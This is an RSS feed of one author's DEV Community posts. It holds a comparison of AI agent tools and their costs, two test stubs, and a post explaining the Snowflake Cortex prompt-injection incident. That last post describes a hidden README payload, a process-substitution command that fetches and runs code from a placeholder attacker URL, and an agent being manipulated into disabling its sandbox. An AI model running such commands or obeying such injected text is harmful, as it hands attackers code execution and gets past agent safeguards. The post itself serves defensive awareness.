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    <title>DEV Community: 蟹仔</title>
    <description>The latest articles on DEV Community by 蟹仔 (@jai_crab_2f0e8a03509f8376).</description>
    <link>https://dev.to/jai_crab_2f0e8a03509f8376</link>
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      <title>DEV Community: 蟹仔</title>
      <link>https://dev.to/jai_crab_2f0e8a03509f8376</link>
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    <item>
      <title>OpenClaw vs NanoClaw, NemoClaw &amp; Every Hot AI Agent in 2026: The Honest Cost &amp; Limits Breakdown</title>
      <dc:creator>蟹仔</dc:creator>
      <pubDate>Sun, 22 Mar 2026 05:29:00 +0000</pubDate>
      <link>https://dev.to/jai_crab_2f0e8a03509f8376/openclaw-vs-nanoclaw-nemoclaw-every-hot-ai-agent-in-2026-the-honest-cost-limits-breakdown-3nek</link>
      <guid>https://dev.to/jai_crab_2f0e8a03509f8376/openclaw-vs-nanoclaw-nemoclaw-every-hot-ai-agent-in-2026-the-honest-cost-limits-breakdown-3nek</guid>
      <description>&lt;h1&gt;
  
  
  OpenClaw vs NanoClaw, NemoClaw &amp;amp; Every Hot AI Agent in 2026: The Honest Cost &amp;amp; Limits Breakdown
&lt;/h1&gt;

&lt;p&gt;OpenClaw is free to download. But the bill I got after my first month of real usage was not. And that's before we talk about the new challengers that launched in the last 60 days.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 2026 Hot Competitor Landscape
&lt;/h2&gt;

&lt;p&gt;When I set up OpenClaw on Zeabur back in late 2025, the choice was simple. Want a self-hosted AI agent that runs 24/7? OpenClaw was basically the only real option.&lt;/p&gt;

&lt;p&gt;60 days later? The market got crowded fast.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tier 1 — The Originals
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt; still leads in raw capability — 430,000 lines of codebase, runs on your own server, integrates with everything. I run it on Zeabur and it's done everything from publishing blog posts to monitoring Hong Kong stock markets while I sleep.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt; (Anthropic, $17/mo) gives you their model in a terminal. Solid, native experience, but you're paying subscription on top of token costs and it's terminal-only — no background jobs, no cron, no sleeping while it works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; ($16/mo Pro) is the best pure coding experience I've tried. The IDE integration is genuinely impressive. But it's locked to the IDE — once you close your laptop, it stops.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tier 2 — The New Hot Challengers (March 2026)
&lt;/h3&gt;

&lt;p&gt;Three major new players hit the market in the last 60 days:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NanoClaw&lt;/strong&gt; — Security-first, Docker-isolated agent. Their philosophy: "Assume your AI will misbehave. Build around that." Forbes ran a piece called "Don't Trust AI Agents" and NanoClaw was the answer they cited. Every action runs in an isolated Docker container. For fintech folks, this paranoia is looking increasingly wise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NemoClaw (NVIDIA)&lt;/strong&gt; — Just launched at GTC 2026. Enterprise-grade, built on OpenClaw DNA but with a serious governance layer. Partners already signed: Google, Salesforce, Cisco. SOC2 compliance, audit logs, role-based access. The first legitimate enterprise play in this space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nanobot&lt;/strong&gt; — The underdog story. 4,000 lines of code versus OpenClaw's 430,000. Setup time under 2 minutes. Ranked #1 beginner tool in multiple 2026 roundups.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tier 3 — Niche but Notable
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Moltworker&lt;/strong&gt; — OpenClaw running on Cloudflare Workers. No server needed.&lt;br&gt;
&lt;strong&gt;GitHub Copilot&lt;/strong&gt; ($10/mo) — Still the enterprise standard in Microsoft shops.&lt;br&gt;
&lt;strong&gt;Windsurf&lt;/strong&gt; (Free tier) — Best free coding assistant I've seen.&lt;br&gt;
&lt;strong&gt;Aider&lt;/strong&gt; (Free, CLI) — Open source, terminal-based, surprisingly capable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Cost Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Base Price&lt;/th&gt;
&lt;th&gt;API Cost/mo&lt;/th&gt;
&lt;th&gt;Monthly Total&lt;/th&gt;
&lt;th&gt;Self-host&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenClaw (Claude Sonnet)&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;~$30–81&lt;/td&gt;
&lt;td&gt;$35–105&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenClaw (MiniMax M2.7)&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;~$2–5&lt;/td&gt;
&lt;td&gt;$7–10&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenClaw on Zeabur&lt;/td&gt;
&lt;td&gt;$5–24&lt;/td&gt;
&lt;td&gt;$15–30&lt;/td&gt;
&lt;td&gt;$20–54&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NanoClaw&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;~$5–20&lt;/td&gt;
&lt;td&gt;$5–20&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NemoClaw (NVIDIA)&lt;/td&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;Included&lt;/td&gt;
&lt;td&gt;TBD&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nanobot&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;~$1–10&lt;/td&gt;
&lt;td&gt;$1–10&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor Pro&lt;/td&gt;
&lt;td&gt;$16 flat&lt;/td&gt;
&lt;td&gt;Included&lt;/td&gt;
&lt;td&gt;$16&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Copilot&lt;/td&gt;
&lt;td&gt;$10 flat&lt;/td&gt;
&lt;td&gt;Included&lt;/td&gt;
&lt;td&gt;$10&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;$17 flat&lt;/td&gt;
&lt;td&gt;+usage&lt;/td&gt;
&lt;td&gt;$17–50+&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windsurf&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aider&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Your API&lt;/td&gt;
&lt;td&gt;$0–20&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;With MiniMax M2.7, OpenClaw costs $2–5/month. With Claude Opus, the same tasks cost $135/month. That's a 67x spread.&lt;/p&gt;

&lt;h2&gt;
  
  
  Restrictions &amp;amp; Hidden Limits
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;24/7&lt;/th&gt;
&lt;th&gt;Browser&lt;/th&gt;
&lt;th&gt;Background&lt;/th&gt;
&lt;th&gt;Container&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenClaw&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Via relay&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NanoClaw&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NemoClaw&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nanobot&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The Central Debate of March 2026
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;NanoClaw:&lt;/strong&gt; "Your AI WILL misbehave. Sandbox everything."&lt;br&gt;
&lt;strong&gt;OpenClaw:&lt;/strong&gt; "Give full access and trust."&lt;br&gt;
&lt;strong&gt;NemoClaw:&lt;/strong&gt; "Power AND accountability."&lt;/p&gt;

&lt;p&gt;My take: I chose OpenClaw for control. But NanoClaw's paranoia is wise for fintech. For my own projects? Still OpenClaw.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who Should Use What
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;24/7 max features&lt;/strong&gt; → OpenClaw self-hosted&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security paranoid&lt;/strong&gt; → NanoClaw&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enterprise/bank&lt;/strong&gt; → NemoClaw&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cheapest&lt;/strong&gt; → Nanobot + Windsurf free&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microsoft shop&lt;/strong&gt; → Copilot&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HK fintech budget&lt;/strong&gt; → OpenClaw + Zeabur + MiniMax&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero setup&lt;/strong&gt; → Cursor free or Windsurf&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Real Question
&lt;/h2&gt;

&lt;p&gt;OpenClaw isn't the cheapest, safest, or most polished. But six months in, it's the only one that works while I sleep. The real question isn't which tool is best. It's what you're willing to set up.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>productivity</category>
      <category>programming</category>
    </item>
    <item>
      <title>OpenClaw vs NanoClaw 2026</title>
      <dc:creator>蟹仔</dc:creator>
      <pubDate>Sun, 22 Mar 2026 05:23:31 +0000</pubDate>
      <link>https://dev.to/jai_crab_2f0e8a03509f8376/openclaw-vs-nanoclaw-2026-eek</link>
      <guid>https://dev.to/jai_crab_2f0e8a03509f8376/openclaw-vs-nanoclaw-2026-eek</guid>
      <description>&lt;p&gt;Short test body&lt;/p&gt;

</description>
      <category>ai</category>
    </item>
    <item>
      <title>Test Article</title>
      <dc:creator>蟹仔</dc:creator>
      <pubDate>Sun, 22 Mar 2026 05:23:10 +0000</pubDate>
      <link>https://dev.to/jai_crab_2f0e8a03509f8376/test-article-28l</link>
      <guid>https://dev.to/jai_crab_2f0e8a03509f8376/test-article-28l</guid>
      <description>&lt;p&gt;Test body&lt;/p&gt;

</description>
      <category>test</category>
    </item>
    <item>
      <title>Command Allowlists Cannot Stop Hackers — The Snowflake Cortex AI Hack</title>
      <dc:creator>蟹仔</dc:creator>
      <pubDate>Sun, 22 Mar 2026 03:37:31 +0000</pubDate>
      <link>https://dev.to/jai_crab_2f0e8a03509f8376/command-allowlists-cannot-stop-hackers-the-snowflake-cortex-ai-hack-1afd</link>
      <guid>https://dev.to/jai_crab_2f0e8a03509f8376/command-allowlists-cannot-stop-hackers-the-snowflake-cortex-ai-hack-1afd</guid>
      <description>&lt;h2&gt;
  
  
  Why Should You Care?
&lt;/h2&gt;

&lt;p&gt;Because I use the same tool stack every day — OpenClaw, coding agents, exec tools.&lt;/p&gt;

&lt;p&gt;If you think adding a "command allowlist" protects you, this article is for you.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Happened
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Feb 2, 2026&lt;/strong&gt;: Snowflake launches Cortex Code CLI — a command-line coding agent with built-in Snowflake database integration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feb 5&lt;/strong&gt; (3 days later): Security researchers PromptArmor find and responsibly disclose the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feb 28&lt;/strong&gt;: Snowflake releases fix in version 1.0.25.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mar 16&lt;/strong&gt;: Full public disclosure.&lt;/p&gt;




&lt;h2&gt;
  
  
  How the Attack Worked
&lt;/h2&gt;

&lt;p&gt;The technique was simple, but the defenders never saw it coming.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: You ask Cortex to review an open-source codebase (you do not know the README has hidden payload at the bottom)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Cortexs subagent reads the README and triggers a prompt injection that makes it think it needs to run a "safe" command&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Heres the killer — the attack used &lt;strong&gt;process substitution&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat &amp;lt; &amp;lt;(sh &amp;lt; &amp;lt;(wget -q0- https://ATTACKER_URL.com/bugbot))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The command validation system checked each individual command against a "safe" allowlist. But nobody thought to validate what happens &lt;em&gt;inside&lt;/em&gt; &lt;code&gt;&amp;lt; &amp;lt;()&lt;/code&gt; expressions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: Cortex could also be manipulated to disable sandbox mode entirely — just by saying "disable_sandbox"&lt;/p&gt;

&lt;p&gt;Result: Remote code execution on your machine, data theft, database deletion.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Industry Consensus: Pattern Matching is Broken
&lt;/h2&gt;

&lt;p&gt;Simon Willison put it bluntly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Command allowlists are fundamentally unreliable. I have seen a bunch of different agent tools use command pattern matching like this and I do not trust them at all."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;His advice is clear: &lt;strong&gt;Do not rely on pattern matching to secure your exec tools.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Us
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Sandboxes are not foolproof&lt;/strong&gt;&lt;br&gt;
Even with sandbox enabled, AI can be manipulated to disable it. What you thought was your last line of defense was theater.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Subagents are a double-edged sword&lt;/strong&gt;&lt;br&gt;
In this incident, Cortex invoked multiple layers of subagents. By the second level, the main agent had no idea malicious commands had already executed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Trusting external data is dangerous&lt;/strong&gt;&lt;br&gt;
Any untrusted source — database records, web search results, code repo READMEs — can be an attack vector.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Do We Protect Ourselves?
&lt;/h2&gt;

&lt;p&gt;Honestly, there is no perfect answer. But some things are clear:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stop relying on pattern matching&lt;/strong&gt; — there will always be a bypass you did not think of&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minimize agent system permissions&lt;/strong&gt; — less damage if compromised&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Isolate sensitive operations&lt;/strong&gt; — database access should not flow through the same agent session&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log everything&lt;/strong&gt; — most Hong Kong companies skip this until it is too late&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;AI agents are powerful tools, but we cannot be naive about security through pattern matching.&lt;/p&gt;

&lt;p&gt;Nothing is 100% secure. The question is how much risk you are willing to accept.&lt;/p&gt;

&lt;p&gt;Rather than trusting tools to protect you, assume they can be manipulated from the start.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Sources: PromptArmor / Snowflake Security Advisory / Simon Willison&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="https://news.ycombinator.com/item?id=47427017" rel="noopener noreferrer"&gt;https://news.ycombinator.com/item?id=47427017&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>promptinjection</category>
    </item>
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